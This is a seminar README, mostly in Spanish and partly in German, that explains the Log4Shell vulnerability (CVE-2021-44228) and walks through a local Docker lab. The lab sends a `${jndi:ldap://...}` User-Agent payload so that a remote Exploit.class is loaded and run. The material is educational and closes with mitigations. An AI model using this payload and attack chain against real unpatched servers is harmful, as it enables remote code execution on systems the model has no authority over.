
Demostración práctica de la vulnerabilidad Log4Shell (CVE-2021-44228)
Este repositorio es exclusivamente para fines educativos y de demostración en el contexto de un trabajo de seminario relacionado con la seguridad. No utilice este código en entornos de producción ni contra sistemas sin permiso explícito. La configuración tiene como objetivo fomentar la conciencia de seguridad y mostrar cómo pueden surgir vulnerabilidades complejas cuando se combinan características aparentemente inofensivas como el registro, la resolución de nombres y la carga dinámica de clases.
El objetivo de este trabajo de seminario es proporcionar una comprensión profunda de la vulnerabilidad Log4Shell (CVE-2021-44228), que se hizo conocida en diciembre de 2021 y fue clasificada como una de las vulnerabilidades de seguridad más críticas de los últimos años. En el trabajo se explican tanto los fundamentos teóricos como se muestra una demostración práctica de la vulnerabilidad.
Para la ilustración práctica de la vulnerabilidad Log4Shell, se ha creado en este repositorio un entorno aislado y contenerizado que reproduce el flujo completo del ataque de manera reproducible. La demostración se basa en tres componentes centrales:
User-Agent de la solicitud HTTP, que los atacantes pueden manipular para explotar la vulnerabilidad.Exploit.class). Al igual que el servidor LDAP, este servidor está bajo el control del atacante.Nota: Se puede encontrar información más detallada sobre la configuración y la ejecución de la demostración en las secciones 4. Estructura del proyecto y configuración y 5. Demo del proyecto.
Log4Shell es el nombre de una vulnerabilidad de seguridad crítica en la biblioteca Java Log4j con la designación CVE-2021-44228. Permite a un atacante ejecutar código arbitrario en un servidor remoto (Remote Code Execution, RCE) con un esfuerzo mínimo.
La vulnerabilidad afecta a Log4j en las versiones 2.0 a 2.14.1 y es tan grave que muchas autoridades de seguridad, incluyendo la BSI (Oficina Federal de Seguridad de la Información de Alemania), la han clasificado con el nivel de riesgo más alto.
Log4Shell es especialmente peligrosa porque...
La causa real radica en una funcionalidad de Log4j que permite cargar contenido dinámico en mensajes de registro a través de las llamadas búsquedas (lookups). En combinación con JNDI (Java Naming and Directory Interface) y el protocolo LDAP (Lightweight Directory Access Protocol), esto permite cargar y ejecutar clases Java maliciosas remotas.
El descubrimiento y la publicación de la vulnerabilidad desencadenaron una ola de seguridad a nivel mundial. Muchos sistemas tuvieron que ser parcheados o desconectados de inmediato. Posteriormente, se dieron a conocer otras vulnerabilidades relacionadas (por ejemplo, CVE-2021-45046), lo que demuestra la profundidad y peligrosidad del problema.
A continuación, se explican en detalle las tecnologías involucradas y su interacción para desarrollar una comprensión más profunda de la vulnerabilidad.
Log4j es una biblioteca creada por Apache para el registro de eventos en aplicaciones Java. El registro (logging) es una herramienta central en el desarrollo de software para monitorear sistemas o analizar errores. Log4j es uno de los frameworks de registro más conocidos y utilizados en el ecosistema Java y se emplea tanto en aplicaciones pequeñas como en grandes sistemas empresariales.
Mientras un programa se ejecuta, ocurren eventos como:
Estos eventos se pueden documentar con logs, generalmente como salida de texto en la consola, en archivos o a través de protocolos de red hacia servidores de registro centralizados. Mediante un registro adecuado, se puede rastrear qué hizo una aplicación y cuándo.
Log4j proporciona una infraestructura flexible y altamente configurable para la generación y procesamiento de mensajes de registro. Entre las funciones centrales se incluyen:
DEBUG, INFO, WARN, ERROR) que permiten controlar el nivel de detalle del registro.Otras características relevantes para este trabajo de seminario se tratan en secciones posteriores, especialmente la funcionalidad de marcadores de posición y la funcionalidad de búsqueda (lookup).
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Example { private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.info("Starte Anwendung...");
}
}
En este sencillo ejemplo, se crea o se recupera una instancia de Logger si ya existe. Luego, se emite un mensaje de log en el nivel `INFO`. Log4j se encarga del formateo y la salida del mensaje, basándose en la configuración. Un ejemplo de configuración podría ser el siguiente:```xml
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
Esta configuración define un appender que imprime mensajes de log en la consola en el formato Datum Uhrzeit Log-Level Loggername - Nachricht. Este appender se asigna luego al logger raíz, que procesa todos los mensajes de log a partir del nivel INFO.
La salida podría verse así:
2023-10-01 12:00:00 INFO Example - Starte Anwendung...
```
Pasemos ahora a las características específicas de Log4j que son más relevantes para la vulnerabilidad Log4Shell.
#### Marcadores de posición en mensajes de registro
Una característica particularmente útil de Log4j es el soporte de **marcadores de posición** en los mensajes de registro. De esta manera, se pueden insertar contenidos dinámicos en tiempo de ejecución en la salida del registro:```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);
```
De esta manera, en tiempo de ejecución, `{}` se reemplaza por el valor real de la variable `username`. Esto produce la siguiente salida:```text
"Benutzer angemeldet: Alice"
```
#### Expresiones dinámicas llamadas Lookups
Además de los marcadores de posición simples, Log4j también ofrece la posibilidad de resolver expresiones más complejas directamente en el mensaje de registro. Esta función se denomina **Lookup**: permite insertar valores dinámicamente en tiempo de ejecución (por ejemplo, variables de entorno, información del sistema o valores de configuración).
Ejemplos de tales expresiones dinámicas:
- `${env:HOME}` - devuelve el valor de la variable de entorno `HOME`. En Linux/macOS sería, por ejemplo, `/home/usuario`.
- `${docker:...}` - podría proporcionar información sobre el contenedor Docker en el que se ejecuta la aplicación.
- `${jndi:...}` - realiza una búsqueda JNDI para cargar recursos internos o externos.
En la siguiente sección se examinará más de cerca la funcionalidad JNDI, ya que desempeña un papel central en la vulnerabilidad Log4Shell.
### 3.2 JNDI - Mecanismo de Lookup
**JNDI** significa _Java Naming and Directory Interface_ y es una API de Java estandarizada que permite acceder a **servicios de nombres y directorios**. Con JNDI, las aplicaciones Java pueden hacer referencia a recursos no mediante rutas técnicas directas, sino mediante nombres simbólicos.
Un uso clásico de JNDI es la búsqueda de conexiones a bases de datos, el cual puede ver aquí:```java
public class JndiExample {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
// Datenbankverbindung verwenden
}
}
```
Primero se crea un `InitialContext`, que representa el punto de entrada para la resolución de nombres utilizando JNDI. Luego, mediante el método `lookup` se busca un recurso. En este caso, una fuente de datos (`DataSource`) con el nombre simbólico `java:/comp/env/jdbc/myDB`.
#### ¿Qué ventajas ofrece JNDI?
- **Desacoplamiento de aplicación e infraestructura**: Las configuraciones no tienen que estar almacenadas en el código, sino que pueden gestionarse centralmente en un servidor.
- **Reutilización y portabilidad**: Una aplicación puede ejecutarse sin problemas en múltiples entornos (p. ej., desarrollo, prueba, producción) sin necesidad de modificar el código. Solo es necesario ajustar los respectivos archivos de configuración.
- **Flexibilidad**: JNDI es independiente del protocolo; solo proporciona una interfaz y la comunicación real la realiza en segundo plano un llamado _Service Provider_. Esto permite que JNDI acceda a varios servicios, no solo a LDAP, sino también a RMI, DNS, CORBA, etc.
#### Estructura de JNDI

La aplicación Java utiliza la interfaz independiente del protocolo de JNDI, que contiene clases como `InitialContext`, con el método `lookup`. La API es siempre la misma, ya sea que se use LDAP, DNS, etc. El Naming Manager actúa como intermediario y selecciona el _Service Provider_ adecuado, que se encarga de la comunicación real. El JNDI SPI (Service Provider Interface) es un conjunto de clases que implementan la funcionalidad de JNDI para varios protocolos. En nuestro caso, el Service Provider relevante es **LDAP**.
En la siguiente sección, examinaremos más de cerca el Service Provider **LDAP**.
### 3.3 LDAP - Estructura y función
**LDAP** significa _Lightweight Directory Access Protocol_ y es un protocolo de red estandarizado que permite el acceso a los llamados **servicios de directorio**. Fue desarrollado originalmente como una alternativa liviana a X.500 y hoy es un estándar en muchas redes empresariales, especialmente para la administración centralizada de usuarios y permisos.
#### ¿Qué es un servicio de directorio?
Un servicio de directorio es una base de datos estructurada que almacena información en forma jerárquica. A diferencia de las bases de datos relacionales, un directorio es:
- principalmente **orientado a lectura**
- **altamente jerárquico** (como un sistema de archivos)
- optimizado para **acceso rápido** a datos de identidad o configuración
#### Estructura de un directorio LDAP

Como se ve en la imagen, un directorio LDAP está organizado en una estructura arbórea. En el nivel raíz se encuentran los **Domain Components (dc)**. Debajo pueden haber **Organizational Units (ou)**, que representan subdivisiones adicionales, como por ejemplo `Users`. Para usuarios u objetos individuales existen **Common Names (cn)**, que identifican la entrada específica y pueden contener varios atributos.
**Significado:**
- `dn`: Distinguished Name
- `dc`: Domain Component
- `ou`: Organizational Unit
- `cn`: Common Name
Ahora veamos cómo se accede a LDAP y qué papel juega en la vulnerabilidad Log4Shell.
#### ¿Cómo se accede a LDAP?
En LDAP también se pueden almacenar referencias a clases externas que pueden cargarse según sea necesario. Esto se hace mediante atributos especiales como `javaClassName` y `javaCodeBase`. Estos atributos pueden apuntar a una URL desde la cual se debe cargar una clase Java.
Con la siguiente URL podemos, por ejemplo, consultar un objeto que hace referencia a una clase Java:```
ldap://ldap-server:1389/Exploit
```

Como se ve en la imagen, la entrada LDAP contiene un atributo `javaClassName` que hace referencia a la clase `Exploit`. El atributo `javaCodeBase` especifica la URL desde la cual se debe cargar la clase. En este caso, es un servidor HTTP con la dirección `http://payload-server/` que proporciona la `Exploit.class`.
Ahora hemos examinado todos los componentes técnicos en detalle. En la siguiente sección se describe el flujo general de la vulnerabilidad Log4Shell para entender cómo estas tecnologías interactúan y qué vector de ataque se genera.
### 3.4 Flujo general de Log4Shell
Después de haber examinado individualmente las tres tecnologías involucradas, **Log4j** como framework de logging, **JNDI** como interfaz de servicio de directorio y **LDAP** como servicio de directorio concreto, ahora queda claro lo peligrosa que puede ser su combinación si no se han tomado medidas de seguridad.
En versiones de Log4j hasta la 2.14.1, era posible permitir que los llamados **Lookups** se evaluaran directamente en los mensajes de registro. Esto permitía incorporar consultas JNDI a través de LDAP que luego podían cargar y ejecutar clases Java arbitrarias desde un servidor remoto, sin haber activado explícitamente esta funcionalidad.
#### Escenario concreto en la interacción:
Ahora aplicamos lo aprendido en un ejemplo concreto. Como primer paso, iniciamos una búsqueda JNDI con la siguiente expresión:```text
${jndi:...}
```
Usemos ahora el proveedor de servicios LDAP para cargar una clase Java remota `ldap://ldap-server:1389/Exploit`. En conjunto, se obtiene la siguiente cadena:```text
${jndi:ldap://ldap-server:1389/Exploit}
```
Ahora solo falta que un atacante consiga que esta cadena llegue a un mensaje de registro, p. ej., manipulando una cabecera HTTP.

Como se ve en la imagen, a la izquierda está el atacante, que aloja su propio servidor LDAP y servidor de carga. A la derecha está la aplicación vulnerable con Log4j versión 2.14.1. El flujo del ataque es el siguiente:
1. Un atacante envía una solicitud HTTP a la aplicación e introduce la cadena manipulada mostrada anteriormente, por ejemplo, en la cabecera `User-Agent`: ```http
User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
```
2. La aplicación registra el encabezado `User-Agent`: ```java
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
```
Log4j reconoce `${jndi:...}` y realiza automáticamente una **búsqueda JNDI** a través del protocolo especificado `ldap`
3. Ahora se invoca al proveedor de servicios LDAP para resolver la URL especificada `ldap://ldap-server:1389/Exploit`.
4. El servidor LDAP responde con una referencia a una **clase Java externa (`Exploit.class`)**, que se encuentra en el siguiente servidor: ```
http://payload-server:8000/Exploit.class
```
5. La aplicación envía una solicitud al servidor de payload para cargar la `Exploit.class`.
6. El servidor de payload responde con la clase Java `Exploit.class`. Posteriormente, esta clase se ejecuta sin ninguna validación. El atacante tiene así el control completo sobre el código que se ejecuta en el servidor vulnerable.
#### ¿Por qué funciona esto?
Porque:
- Log4j interpreta el mensaje de log en lugar de solo mostrarlo
- JNDI permite internamente una conexión a cualquier proveedor de servicios
- el cargador de clases ejecuta código externo sin restricciones.
La interacción de **búsquedas dinámicas en Log4j**, **resolución flexible de nombres mediante JNDI** y el **protocolo LDAP** crea una superficie de ataque inesperada. Lo que originalmente fue concebido como una potente característica de configuración se convirtió en una puerta de entrada para la ejecución remota de código.
En la siguiente sección se describen la estructura del proyecto y la configuración de la demo para ejecutar la vulnerabilidad localmente.
## 4. Estructura del proyecto y configuración
### 4.1 Resumen de directorios
La estructura del proyecto refleja los tres componentes centrales:```text
log4shell/
...
├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1
├── ldap-server/ # LDAP-Server (Fork von marshalsec)
├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads
...
```
### 4.2 Requisitos previos
Para ejecutar la demo de Log4Shell localmente, se requieren los siguientes requisitos previos:
#### Docker y Docker Compose
Toda la infraestructura se basa en contenedores. Docker garantiza que cada componente (vulnerable-app, ldap-server, payload-server) se ejecute en un entorno aislado.
- **Docker**:
Instalación en [https://www.docker.com/get-started](https://www.docker.com/get-started)
- **Docker Compose** (ya incluido en Docker Desktop)
Alternativamente, se puede instalar desde [https://docs.docker.com/compose/](https://docs.docker.com/compose/)
#### cURL
Para ejecutar el ataque desde la línea de comandos, se puede utilizar la herramienta `curl`:
- Ya preinstalado en Linux/macOS
- En Windows a través de [https://curl.se/](https://curl.se/) o incluido en Git Bash
> **Nota:** La aplicación y todos los servidores incluidos se ejecutan localmente en su computadora y se comunican exclusivamente dentro de una red Docker aislada (`log4shell-network`). No se necesita ni se establece ninguna conexión con servidores externos.
### 4.3 Configuración
En esta sección se describe cómo configurar e iniciar el entorno localmente.
#### Paso 1: Clonar el repositorio```bash
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell
```
#### Paso 2: Crear e iniciar contenedores
Con Docker Compose se pueden iniciar todos los servicios necesarios con un solo comando:```bash
docker-compose up --build
```
`docker-compose up --build` provoca:
- Las imágenes para `vulnerable_app`, `ldap_server` y `payload_server` se construyen
- Los tres servicios se inician
- Se comunican a través de una red interna común de Docker (`log4shell-network`)
Tras un inicio exitoso, la aplicación es accesible a través del siguiente endpoint:```
http://localhost:8080
```
Los registros y eventos aparecen en vivo en la consola. Los contenedores se ejecutan mientras la ventana de la terminal esté abierta (o el proceso se ejecute en segundo plano).
> **Nota:** Asegúrese de que ningún otro servicio esté ejecutándose en los puertos **8080**, **1389** o **8000** para evitar conflictos.
> Si desea cerrar los contenedores, puede hacerlo con `docker-compose down`. Esto detendrá y eliminará todos los contenedores en ejecución, pero las imágenes se conservarán.
## 5. Demostración del proyecto
En esta sección se muestra cómo se puede desencadenar intencionalmente la vulnerabilidad Log4Shell en el entorno de demostración proporcionado. Todos los componentes iniciados previamente trabajan juntos:
- La **vulnerable-app** registra el encabezado `User-Agent` con Log4j
- El **ldap-server** devuelve una referencia manipulada
- El **payload-server** proporciona la clase Java real (`Exploit.class`)
#### Ataque paso a paso
Para ejecutar la demostración, necesita dos ventanas de consola. Primero, inicie el entorno con `docker-compose up --build` en una terminal, si aún no lo ha hecho. En una segunda terminal, realice los siguientes pasos:
1. **Verifique que el archivo aún no existe**:
Dado que se trata de una demostración, se crea un archivo vacío como exploit para demostrar la ejecución exitosa. Puede verlo en la clase `payload-server/Exploit.java`. Para verificar que el archivo aún no existe, ejecute el siguiente comando: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
```
Si el archivo no existe, debería aparecer un mensaje de error como `No such file or directory`. Esto confirma que el exploit aún no se ha ejecutado.
2. **Envíe la cadena manipulada a la aplicación**: ```bash
curl -X GET -H 'User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}' http://localhost:8080
```
Explicación del payload:
- `${jndi:...}`: Log4j interpreta automáticamente esta expresión y realiza una consulta JNDI.
- `ldap://ldap-server:1389`: Se conecta con el servidor LDAP que se ejecuta en la red Docker.
- `/Exploit`: Nombre de la entrada LDAP que apunta a la clase maliciosa.
- `http://localhost:8080`: La URL de la aplicación vulnerable a la que envía la solicitud para desencadenar la vulnerabilidad Log4j.
3. **¿Qué sucede en segundo plano?**

- La aplicación recibe la solicitud y quiere registrar el encabezado `User-Agent`
- Log4j evalúa el encabezado `User-Agent` y realiza una **consulta JNDI** a través de **LDAP**
- El servidor LDAP apunta a una `Exploit.class` remota que el servidor de payload proporciona
- La aplicación descarga la clase del servidor de payload y la ejecuta
- Al final, se registra el mensaje de registro original con el contenido dinámico
> Nota: Como ya se mencionó, en esta demo solo se crea un archivo vacío para demostrar la ejecución exitosa. En escenarios de ataque reales, ¡se podría ejecutar cualquier código!
4. **Verificar el resultado del ataque**
Ahora puede verificar nuevamente si el archivo `/tmp/remote_code_execution` fue creado en el contenedor: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
```
Si el ataque tuvo éxito, debería ver la siguiente salida: ```
-rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution
```
Con solo una línea de registro manipulada se desencadena un proceso completo de ejecución remota de código, eso es precisamente lo que hace que Log4Shell sea tan peligroso. Esta demostración muestra cómo la interacción de **Log4j**, **JNDI** y **LDAP** puede llevar a la explotación.
## 6. Medidas de protección
La vulnerabilidad Log4Shell ha demostrado cómo las aplicaciones modernas pueden verse comprometidas de manera profunda por características aparentemente inofensivas. Para proteger eficazmente los sistemas contra tales ataques, se deben implementar las siguientes medidas:
- **Actualizar la versión de Log4j (al menos 2.17.1)**
La medida más importante es **actualizar a una versión de Log4j ≥ 2.17.1**, ya que solo a partir de esta versión se corrigieron todas las vulnerabilidades conocidas (incluyendo DoS y exploits de configuración). ¡Las versiones anteriores siguen siendo vulnerables y no deben seguir utilizándose!
- **Deshabilitar las búsquedas JNDI**
Si no es posible una actualización completa, se deben **deshabilitar las búsquedas JNDI**. Esto se puede lograr en el archivo `log4j2.properties` estableciendo la siguiente configuración: ```properties
log4j2.formatMsgNoLookups=true
```
Diese Einstellung verhindert, dass Log4j JNDI-Lookups in Log-Nachrichten auswertet. Dadurch wird die Angriffsfläche erheblich reduziert. Jedoch ist dies nur ein temporärer Workaround, da andere Schwachstellen weiterhin bestehen können (DoS, Konfigurations-Exploits).
- **Eingaben validieren**
Alle Benutzereingaben sollten **validiert und bereinigt** werden, bevor sie in Log-Nachrichten verwendet werden. Insbesondere sollten dynamische Ausdrücke wie `${jndi:...}` nicht direkt übernommen werden.
- **Ausgehende Netzwerkverbindungen einschränken**
Ein zentraler Bestandteil des Exploits war der ungehinderte Zugriff auf externe Server, welche vom Angreifer kontrolliert werden. Systeme sollten so konfiguriert werden, dass sie **nicht beliebige externe Ziele erreichen können**, z. B. durch Firewalls oder Netzwerk-Policies.
Insbesondere sollte der Zugriff auf unbekannte LDAP-Ziele aus der Anwendung heraus unterbunden werden.
## 7. Fazit
Die Log4Shell-Sicherheitslücke zeigt eindrucksvoll, wie wichtig es ist, sich nicht nur auf die Sicherheit des eigenen Codes zu verlassen, sondern auch die genutzten Bibliotheken und Frameworks sorgfältig auszuwählen und zu verstehen. In diesem Fall führte eine scheinbar harmlose Logging-Bibliothek (Log4j) zu einer Remote-Code-Execution-Schwachstelle. Daran sieht man, dass auch Abhängigkeiten zu einer Einfallstür für Exploits werden können. Man sollte sich immer fragen, ob man eine externe Bibliothek wirklich benötigt oder ob sich eine Funktion auch ohne zusätzliche Abhängigkeiten umsetzen lässt.
Ein weiterer wichtiger Punkt ist das Thema **versteckte Komplexität**. Funktionen wie `${env:HOME}` innerhalb einer Log-Nachricht sehen harmlos aus, verbergen aber komplexe Mechanismen im Hintergrund, wie dynamische Lookups. Dadurch kann sich unbemerkt gefährliches Verhalten einschleichen. Alternativ sollte man lieber explizite und transparente Lösungen verwenden, etwa `System.getenv("HOME")`, so behält man die Kontrolle und kann nachvollziehen, was passiert.
Zudem gilt ein allgemeiner, aber oft vernachlässigter Grundsatz: **Niemals Benutzereingaben ungeprüft weiterverarbeiten**. Besonders bei sicherheitsrelevanten Operationen wie Logging, Datenbankzugriffen oder Systembefehlen müssen Eingaben validiert und bereinigt werden.
Nicht zuletzt zeigt der Vorfall, wie gefährlich es sein kann, wenn mächtige Features wie JNDI-Lookups standardmäßig aktiviert sind. Wäre in Log4j diese Funktion nicht standardmäßig aktiviert gewesen, wäre nur eine kleine Teilmenge der Systeme betroffen gewesen.
**Die wichtigsten Erkenntnisse:**
- Sicherheitslücken können auch in scheinbar harmlosen Bibliotheken stecken.
- Überlegen, ob man externe Bibliotheken wirklich benötigt.
- Versteckte Komplexität vermeiden.
- Niemals ungeprüfte Benutzereingaben weiterverarbeiten.
- Mächtige Features wie JNDI-Lookups sollten nicht standardmäßig aktiviert sein.
## 8. Quellen
- [CVE-2021-44228 – National Vulnerability Database (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)
- [BSI-Warnmeldung zu Log4Shell](https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-549032-10F2.pdf?__blob=publicationFile&v=10)
- [Log4j Dokumentation](https://logging.apache.org/log4j/2.x/index.html)
- [JNDI Konzepte](https://docs.oracle.com/javase/tutorial/jndi/concepts/index.html)
- [JNDI Overview](https://docs.oracle.com/javase/tutorial/jndi/overview/index.html)
- [LDAP Einführung (RFC 4511)](https://datatracker.ietf.org/doc/html/rfc4511)
- [LDAP](https://www.redhat.com/en/topics/security/what-is-ldap-authentication)
- [Log4Shell](https://www.ibm.com/think/topics/log4shell)
- [Log4Shell Video Teil 1](https://www.youtube.com/watch?v=w2F67LbEtnk)
- [Log4Shell Video Teil 2](https://www.youtube.com/watch?v=iI9Dz3zN4d8)
- [Fork marshalsec](https://github.com/fabioeletto/marshalsec)